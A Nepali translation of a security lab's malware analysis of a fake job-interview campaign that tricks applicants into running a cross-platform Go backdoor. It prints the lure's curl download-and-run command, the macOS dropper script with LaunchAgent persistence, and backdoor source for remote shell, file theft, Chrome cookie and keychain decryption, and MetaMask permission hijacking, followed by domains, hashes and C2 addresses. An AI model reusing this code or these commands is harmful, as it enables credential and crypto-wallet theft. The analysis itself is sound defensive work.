
म्याकपाको मुनलक ल्याब टोलीद्वारा लिखित
एउटा चलिरहेको साइबर अभियानले नक्कली अन्तर्वार्ता वेबसाइटहरू मार्फत जागिर खोज्नेहरूलाई लक्षित गरिरहेको छ, उनीहरूलाई नक्कली तर अत्यधिक प्रभावकारी ब्याकडोर डाउनलोड गर्न ठगिरहेको छ। अस्पष्ट प्रविधिहरू प्रयोग गर्ने परिष्कृत मालवेयरको विपरीत, यो आक्रमण सरलतामा निर्भर गर्दछ - गो बाइनरीसँगै स्रोत कोड डेलिभर गर्दै, यसलाई क्रस-प्लेटफर्म बनाउँछ। अझ बढी चिन्ताको विषय भनेको क्रिप्टोकरेन्सी-सम्बन्धित क्रोम एक्सटेन्सन मेटामास्कको अनुमतिहरू अपहरण गर्ने प्रयास हो, जसले सम्भावित रूपमा पीडितहरूको वालेटहरू निकाल्छ।
अभियान सक्रिय छ, नयाँ डोमेनहरू नियमित रूपमा देखा पर्दै थप पीडितहरूलाई आकर्षित गर्छन्। धेरै व्यक्तिगत सुरक्षा अनुसन्धानकर्ताहरू र कम्पनीहरू, जस्तै
मुनलक ल्याब टोलीले अक्टोबर ९, २०२४ मा यो ठ्याक्कै मालवेयर ट्र्याक गर्न थाल्यो, जब ब्याकडोरको पहिलो कम्पोनेन्टहरू देखा पर्न थाले। ब्याकडोर भनेको एक प्रकारको मालिसियस सफ्टवेयर हो जुन प्रणालीमा लुकेको हुन्छ र खतरा अभिनेताहरूलाई टाढाबाट आदेशहरू कार्यान्वयन गर्न अनुमति दिन्छ, मानौं तिनीहरू वर्कस्टेशनका वैध मालिकहरू हुन्। यी आक्रमणहरूले सामान्यतया तथाकथित C2 (कमाण्ड र नियन्त्रण) सर्भरहरू प्रयोग गर्छन् जसले आदेशहरू पठाउन र कार्यान्वयन गर्दछ।
यस आक्रमणलाई हामीले सामान्यतया अवलोकन गर्ने अन्य आक्रमणहरू भन्दा फरक पार्ने कुरा के हो भने यसमा धेरै चरणहरू हुन्छन् र एकल-शट डेटा-चोरी प्रवाह प्रयोग गर्नुको सट्टा पीडितको मेसिनमा निरन्तर रहनको लागि डिजाइन गरिएको हो। आक्रमण चरणहरूको पूर्ण सिंहावलोकन तलको छविमा देख्न सकिन्छ।
हामीले याद गरेको X मा पहिलो राम्रोसँग संरचित थ्रेड द्वारा पोस्ट गरिएको थियो
' सामान्यतया क्राकेन, MEXC, जेमिनी, मेटा जस्ता ज्ञात कम्पनीबाट "भर्तीकर्ता" बाट सुरु हुन्छ। तलब दायरा + सन्देश शैली आकर्षक छ - सक्रिय रूपमा जागिर खोज्नेहरूका लागि पनि। प्रायः Linkedin मार्फत। साथै फ्रीलान्सर साइटहरू, जागिर साइटहरू, tg, discord, आदि।
यस मालवेयरको पछिल्लो संस्करण प्राप्त गर्न, नक्कली अन्तर्वार्ता साइटहरू होस्ट गर्ने नयाँ डोमेनहरूको निगरानी गर्नु आवश्यक थियो। यस उद्देश्यका लागि, हाम्रो टोलीले यी डोमेनहरूले साझा गर्ने दुई अपरिवर्तित सूचकहरूमा भर पर्यो:
यस अभियानको क्रममा प्रयोग गरिएका केही डोमेनहरू बन्द गरिँदै भए पनि, नयाँहरू देखा पर्न जारी छन्, जसमा सबैभन्दा पछिल्लो डोमेन अझै अनलाइन छ: smarthiretop[.]online । हाम्रो टोलीले नोभेम्बर २०२४ देखि २० भन्दा बढी सक्रिय डोमेनहरू देखेको छ।
डोमेनहरूको अनुसन्धान गरेपछि, हामीले पत्ता लगायौं कि तिनीहरूमध्ये केहीले एउटै IP ठेगाना साझा गर्छन्। यो प्रायः हुन्छ किनभने आक्रमणकारीहरूले बुलेटप्रुफ होस्टिङ प्रदायकहरू प्रयोग गर्छन्, जसले एउटै सर्भरमा धेरै डोमेनहरू होस्ट गर्न अनुमति दिन्छ। थप रूपमा, एउटै IP मा धेरै डोमेनहरू होस्ट गर्नाले खतरा अभिनेताहरूलाई ब्याकएन्ड पूर्वाधार परिवर्तन नगरी डोमेनहरू घुमाउन सक्षम बनाउँछ।
यो दुर्भावनापूर्ण पूर्वाधार विश्वव्यापी रूपमा वितरित विभिन्न सेवाहरूमा होस्ट गरिएको छ। तलको नक्सामा देखाइए अनुसार, धेरैजसो सर्भरहरू अमेरिकामा अवस्थित छन्, केही अन्य देशहरूमा फैलिएका छन्।
अन्तर्वार्ता लिनेहरूलाई कार्यान्वयन गर्न भनिएको मालिसियस कमान्ड उनीहरूले मालिसियस वेबसाइट भ्रमण गर्दा देखा पर्ने विन्डोमा लुकेको हुन्छ। यो एक JS कोड हो, यस अवस्थामा main.39e5a388.js फाइलमा बन्डल गरिएको। त्यस्ता फाइलनामहरू सामान्यतया वेब अनुप्रयोगको निर्माण प्रक्रियाको क्रममा ह्यासिङ वा फिंगरप्रिन्टिङ संयन्त्र प्रयोग गरेर उत्पन्न गरिन्छ (सन्दर्भ:)
एउटा पृष्ठमा निम्न SHA256 ह्यास सहितको यो इम्बेडेड JS फाइल छ:
हामी सजिलैसँग देख्न सक्छौं कि निर्मित JS फाइल भित्र उही आदेशहरू छन् जुन पीडितहरूलाई प्रविष्ट गर्न भनिएको थियो:
धम्की दिने व्यक्तिले मालवेयर कसरी फैलाउँछ भनेर बुझेपछि, हाम्रो प्राथमिक लक्ष्य द्रुत रूपमा नमूनाहरू फेला पार्नु र हाम्रा प्रयोगकर्ताहरूको लागि हस्ताक्षरहरू विकास गर्नु थियो। हामीले फेला पारेको "उत्पादन-तयार" नमूनाहरू र तिनीहरूको SHA-256 ह्यासहरूको पहिलो प्रत्यक्ष उल्लेख यस थ्रेडमा थियो:
यसमा पाँच ह्यासहरू समावेश थिए, जसको लागि:
यसका अतिरिक्त, हाम्रो टोलीले पीडितहरू जस्तै हामीलाई पनि डाउनलोड गर्न ठगिएको जस्तो गरी दुर्भावनापूर्ण स्क्रिप्टहरू ल्याउन थाल्यो। एक बिन्दुमा, नक्कली अन्तर्वार्ता वेबसाइटहरूमा निम्न आदेश प्रयोग गरिएको थियो:
स्क्रिनसटबाट आदेश (कार्यान्वयन नगर्नुहोस्!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
यसले तल सूचीबद्ध कार्यहरू गर्दछ:
अस्थायी फोल्डरमा सुरक्षित गरिएको ffmpeg.sh फाइल भित्र, हामी यो आक्रमणको लागि प्रविष्टि बिन्दु फेला पार्न सक्छौं, जसमा समावेश छ:
तलको स्क्रिप्टबाट हामीले देख्न सक्छौं, यो विशेष गरी macOS को लागि डिजाइन गरिएको हो, Intel र ARM दुवै प्रकारहरू। यसले हालको CPU मोडेल परिभाषित गरेपछि, यसले धेरै फाइलहरू सहितको ZIP संग्रह डाउनलोड गर्दछ। यस स्क्रिप्टको थप विस्तृत समीक्षा यहाँ पाउन सकिन्छ
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
सन्दर्भ:
स्क्रिप्टले ल्याउने अभिलेख (Intel CPU को लागि संस्करण) को सामग्रीहरू तल सूचीबद्ध छन्:
अभिलेखमा रहेका सबै फाइलहरूलाई केही समूहहरूमा वर्गीकृत गर्न सकिन्छ:
चाखलाग्दो कुरा के छ भने, अभिलेख लगभग ७५ एमबी आकारको छ, मुख्यतया किनभने यसमा वैध गो पुस्तकालयहरू र बाइनरीहरूका धेरै भागहरू समावेश छन्।
यस आक्रमणमा हामीले लामो समयसम्म प्रयोग भइरहेको देखेका फाइलहरू मध्ये एउटा CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a ) नामक २ आर्किटेक्चर भएको Mach-O युनिभर्सल बाइनरी हो।
यसले गुगल क्रोम आइकनको रूपमा भेष बदल्छ, जसले गर्दा नियमित प्रयोगकर्ताहरूलाई फाइल वैध छ भन्ने विश्वास हुन्छ र तिनीहरूलाई मेटाउनबाट रोक्छ।
कोड स्विफ्टमा लेखिएको छ, र कुनै बलियो अस्पष्टता प्रविधिहरू पत्ता लागेनन्, जसले गर्दा कार्यान्वयन प्रवाह बुझ्न अपेक्षाकृत सजिलो भयो।
यसले प्रणाली सूचना विन्डो जस्तो देखिने विन्डो देखाउँछ, जसले प्रयोगकर्तालाई माइक्रोफोन पहुँच प्रदान गर्न आग्रह गर्दछ, जुन गुगल क्रोम अनुप्रयोगबाट अनुरोध गरिएको मानिन्छ।
प्रयोगकर्ताले "Remind Me Later" चयन गरे पनि, पासवर्ड प्रम्प्ट विन्डो अझै पनि देखा पर्दछ।
एपले माइक्रोफोन पहुँच आवश्यक पर्ने दाबी गर्छ; यद्यपि, यो स्यान्डबक्स गरिएको छ, र माइक्रोफोनको लागि कुनै वास्तविक अनुमति अनुरोध गरिएको छैन।
प्रयोगकर्ताले आफ्नो पासवर्ड प्रविष्ट गरेपछि, मालवेयरले यसलाई चलिरहेको होस्टको बाह्य IP ठेगाना अनुरोध गर्दछ। त्यसपछि यसले password.txt फाइललाई प्रयोगकर्ताको बाह्य IP ठेगानाको नामबाट नामकरण गरिएको Dropbox फोल्डरमा पठाउँछ।
तलको स्क्रिनसटमा Dropbox API URL देख्न सकिन्छ।
नेटवर्क ट्राफिकको जाँच गर्दा, हामीले पीडितको सार्वजनिक आईपी ठेगाना पुन: प्राप्त गर्ने प्रयासहरू देख्न सक्छौं।
IP ठेगाना प्राप्त भएपछि, हामी हार्डकोड गरिएका प्रमाणहरू प्रयोग गरेर IP-पासवर्ड जोडी अपलोड गर्न Dropbox मा अनुरोधहरू देख्न सक्छौं।
हाम्रो टोलीले यो घटना ड्रपबक्सलाई रिपोर्ट गर्यो, साथै यो दुर्व्यवहारपूर्ण अभियान सञ्चालन गर्न प्रयोग गरिएका प्रमाणहरू पनि समावेश गर्यो।
यो कुरा ध्यान दिनु महत्त्वपूर्ण छ कि ffmpeg.sh स्क्रिप्टद्वारा डाउनलोड गरिएको ZIP फाइलमा ब्याकडोरको प्लेनटेक्स्ट सोर्स कोड समावेश छ, जसको अर्थ यो न त पूर्व-कम्पाइल गरिएको थियो न त अस्पष्ट नै। यसले विश्लेषणलाई उल्लेखनीय रूपमा गति दियो तर उचित एट्रिब्युशनको बारेमा पनि प्रश्नहरू उठायो। भन्नु पर्दैन, DPRK का APT समूहहरू सामान्यतया धेरै परिष्कृत हुन्छन्।
अर्को असामान्य रणनीति भनेको पूर्ण कोड संकलन गर्नुको सट्टा अभिलेखमा गो बाइनरी ( /bin/go ) समावेश गर्नु हो। यद्यपि, धेरै अपरेटिङ सिस्टमहरूमा गो पूर्वनिर्धारित अनुप्रयोग नभएकोले, खतरा अभिनेताहरूले यसलाई राम्रो अनुकूलताको लागि समावेश गरेको हुन सक्छ। मालवेयर क्रस-प्लेटफर्म हो र एकै समयमा म्याकओएस, लिनक्स र विन्डोजलाई लक्षित गर्दछ भन्ने कुरालाई ध्यानमा राख्दै यो अर्थपूर्ण छ।
प्रत्येक उल्लेखनीय नमूनाको सम्बन्ध र विस्तृत विवरण चित्रण गर्ने ग्राफ यहाँ पाउन सकिन्छ:
अभिलेख भित्र, vcamupdate.sh भनिने स्क्रिप्ट छ। यो अनप्याक गरेपछि तुरुन्तै चल्छ र मुख्य गोलङ अनुप्रयोग (यस अवस्थामा app.go ) मा मार्ग पार गर्दा /bin/go (जुन ZIP मा बन्डल गरिएको छ) कार्यान्वयन गर्दछ।
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
प्रविष्टि अनुप्रयोग ( app.go ) प्रयोगकर्ताको कार्यस्थानको लागि एक अद्वितीय UUID उत्पन्न गर्ने, C2 URL सुरु गर्ने र मुख्य लूप सुरु गर्ने जिम्मेवारी हो। कोडमा हामी एकल-लाइन टिप्पणीहरू, समर्थन सन्देशहरूको प्रिन्टहरू, र केही टिप्पणी-आउट कोड देख्न सक्छौं। यसमा सम्भवतः परीक्षणको लागि बनाइएका URLहरू पनि समावेश छन्, विकासकर्ताहरूले हटाउन बिर्सिएका छन्। मुख्य अभियानमा C2 IP ठेगाना फरक भए तापनि, २०२४ का नमूनाहरूले समान कार्यक्षमता साझा गरे र समान डेटालाई लक्षित गरे।
पछि core.StartMainLoop(id, url) मा कल गर्दा हामीलाई loop.go र work.go फाइलहरू भएको core/ फोल्डरमा ल्याउँछ। loop.go फाइल मुख्यतया C2 बाट आदेशहरू प्राप्त गर्ने र कार्यान्वयन गर्ने, संवेदनशील डेटा सङ्कलन गर्ने सबमोड्युलहरू कल गर्ने र रिमोट सर्भरमा अपलोड गर्ने जिम्मेवारी हो। यसमा धेरै प्रकार्यहरू छन्, जसमध्ये ८ हामी हाइलाइट गर्न र थप विवरणमा अन्वेषण गर्न चाहन्छौं।
यो प्रकार्यले उपलब्ध आदेशहरू सुरु गर्न र आगमन आदेशहरू सुन्न कन्फिग सबमोड्युल प्रयोग गर्दछ। तल तपाईंले सबै आदेशहरू र तिनीहरूको सम्बन्धित कोडहरू सहितको तालिका पाउन सक्नुहुन्छ। ब्याकडोर कार्यक्षमताको थप विस्तृत विश्लेषण मा पाउन सकिन्छ
आदेशको नाम | एन्कोड गरिएको नाम | विवरण |
---|---|---|
आदेश जानकारी | क्वियर | प्रयोगकर्ता नाम, होस्ट, ओएस, आर्क प्राप्त गर्नुहोस् |
आदेश_अपलोड गर्नुहोस् | एएसडीएफ | C2 बाट होस्टमा मनमानी अभिलेख अपलोड र डिकम्प्रेस गर्नुहोस् |
आदेश_डाउनलोड गर्नुहोस् | zxcv | चोरी भएको डेटा C2 मा डाउनलोड गर्नुहोस् |
कमाण्ड_ओएसशेल | भीबीसीएक्स | होस्ट र C2 बीच अन्तरक्रियात्मक शेल सुरु गर्नुहोस् (मनमानी रिमोट आदेशहरू कार्यान्वयन गर्नुहोस्) |
कमाण्ड_अटो | r4ys ले तपाईंलाई | संवेदनशील डेटा स्वचालित रूपमा सङ्कलन गर्नुहोस् |
आदेश_पर्खनुहोस् | घिमिरे | X सेकेन्ड पर्खनुहोस् |
आदेश_निकास | dghh | मुख्य लूपबाट बाहिर निस्कनुहोस् (सेट लाइभ = गलत) |
C2 बाट प्राप्त आदेशको आधारमा, उपयुक्त प्रकार्य बोलाइनेछ।
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
यो प्रकार्यले प्रयोगकर्ता नाम, होस्टनाम, ओएस संस्करण, र आर्किटेक्चर जस्ता आधारभूत प्रणाली जानकारी सङ्कलन गर्नेछ। यो ध्यान दिन लायक छ कि धेरैजसो लोकप्रिय इन्फोस्टेलरहरूले यो मालवेयर भन्दा धेरै बढी प्रणाली जानकारी सङ्कलन गर्छन्।
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
यस अवस्थामा, अपलोडले C2 बाट संक्रमित होस्टमा अभिलेख फाइल पठाउने प्रक्रियालाई प्रतिनिधित्व गर्दछ, त्यसपछि यसको डिकम्प्रेसन हुन्छ। यसले डिकम्प्रेसन सफल भयो कि भएन भनेर पनि संकेत गर्दछ।
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
यो प्रकार्य अघिल्लोको उल्टो हो। यसले tar.gz अभिलेखमा पहिले नै सङ्कलन गरिएका फाइलहरू सहितको निर्देशिकाको कम्प्रेसन गर्दछ।
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
यो एउटा यस्तो प्रकार्य हो जुन एउटा वास्तविक ब्याकडोरमा हुनुपर्छ। यसले मनमानी आदेशको प्रतीक्षा गर्छ र यसलाई कार्यान्वयन गर्ने प्रयास गर्छ। एउटा आदेशमा कमाण्ड-लाइन आर्गुमेन्टहरू हुन सक्छन्, र आउटपुट सिधै C2 मा लग गरिनेछ।
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
यो चोरी प्रवाहको प्रवेश बिन्दु हो। यो प्रकार्यले auto/ फोल्डरमा अवस्थित फाइलहरूमा धेरै कलहरू समावेश गर्दछ। तिनीहरूमा निम्न डेटाको ग्राबर, प्रोसेसर वा परिमार्जकहरू समावेश छन्:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
थप आदेशहरूको प्रतीक्षा गर्दै, ब्याकडोरलाई स्लीपिङ मोडमा पठाउन प्रयोग गरिने उपयोगिता प्रकार्य।
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
यो C2 सँगको सञ्चारको मुख्य लूपबाट बाहिर निस्कन प्रयोग गरिने उपयोगिता प्रकार्य हो।
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
auto/ फोल्डरमा Go-apps को सेट समावेश छ:
आधारभूत.गो
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
क्रोम_चेन्ज_प्रिफ.गो
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go मा जानुहोस्
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go मा जानुहोस्
chrome_cookie_win.go मा जानुहोस्
chrome_gather.go मा जानुहोस्
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
हाम्रो विश्लेषण समाप्त गर्न, हामीले सबैभन्दा महत्त्वपूर्ण बुँदाहरू हाइलाइट गर्नुपर्छ:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080